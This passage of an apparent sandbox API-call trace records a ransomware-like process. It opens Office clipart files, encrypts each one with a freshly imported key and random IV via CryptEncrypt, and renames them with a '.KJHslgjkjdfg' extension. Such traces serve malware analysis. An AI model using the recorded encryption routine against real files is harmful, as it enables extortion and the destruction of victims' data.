(HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.913] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.913] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.913] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.913] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.913] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.913] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.913] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.914] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.914] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.914] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16cc, lpOverlapped=0x0) returned 1 [0153.915] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16d0) returned 1 [0153.915] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.915] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16d0, lpOverlapped=0x0) returned 1 [0153.915] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.915] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.915] SetEndOfFile (hFile=0x114) returned 1 [0153.918] GetProcessHeap () returned 0x2a0000 [0153.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.918] GetProcessHeap () returned 0x2a0000 [0153.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.kjhslgjkjdfg")) returned 1 [0153.919] CloseHandle (hObject=0x114) returned 1 [0153.920] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0153.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.921] GetProcessHeap () returned 0x2a0000 [0153.921] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.921] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.921] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0153.924] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.924] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.924] GetProcessHeap () returned 0x2a0000 [0153.924] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.924] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.924] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.924] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.924] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.925] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.925] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.925] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.925] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.925] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.925] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbc4, lpOverlapped=0x0) returned 1 [0153.925] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd0) returned 1 [0153.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.925] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbd0, lpOverlapped=0x0) returned 1 [0153.925] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.926] SetEndOfFile (hFile=0x114) returned 1 [0153.928] GetProcessHeap () returned 0x2a0000 [0153.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.928] GetProcessHeap () returned 0x2a0000 [0153.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.kjhslgjkjdfg")) returned 1 [0153.930] CloseHandle (hObject=0x114) returned 1 [0153.930] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0153.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.930] GetProcessHeap () returned 0x2a0000 [0153.930] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.930] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.930] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.930] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0153.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.934] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.934] GetProcessHeap () returned 0x2a0000 [0153.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.934] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.934] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.934] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.934] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.935] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.935] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.935] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.935] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.935] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.935] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xac4, lpOverlapped=0x0) returned 1 [0153.935] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xad0, dwBufLen=0xad0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xad0) returned 1 [0153.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.935] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xad0, lpOverlapped=0x0) returned 1 [0153.935] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.936] SetEndOfFile (hFile=0x114) returned 1 [0153.945] GetProcessHeap () returned 0x2a0000 [0153.945] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.945] GetProcessHeap () returned 0x2a0000 [0153.945] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.kjhslgjkjdfg")) returned 1 [0153.947] CloseHandle (hObject=0x114) returned 1 [0153.947] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0153.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.948] GetProcessHeap () returned 0x2a0000 [0153.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.948] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.948] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.952] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.952] GetProcessHeap () returned 0x2a0000 [0153.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.952] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.952] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.952] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.952] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.952] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.952] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.953] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.953] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.953] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.953] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ccc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ccc, lpOverlapped=0x0) returned 1 [0153.954] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cd0, dwBufLen=0x1cd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cd0) returned 1 [0153.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.954] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1cd0, lpOverlapped=0x0) returned 1 [0153.954] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.954] SetEndOfFile (hFile=0x114) returned 1 [0153.957] GetProcessHeap () returned 0x2a0000 [0153.957] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.957] GetProcessHeap () returned 0x2a0000 [0153.957] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.kjhslgjkjdfg")) returned 1 [0153.959] CloseHandle (hObject=0x114) returned 1 [0153.959] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0153.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.961] GetProcessHeap () returned 0x2a0000 [0153.961] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.961] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.961] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0153.963] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.963] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.963] GetProcessHeap () returned 0x2a0000 [0153.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.963] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.964] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.964] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.964] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.964] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.964] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.964] SetFilePointerEx (in: hFile=0x114, 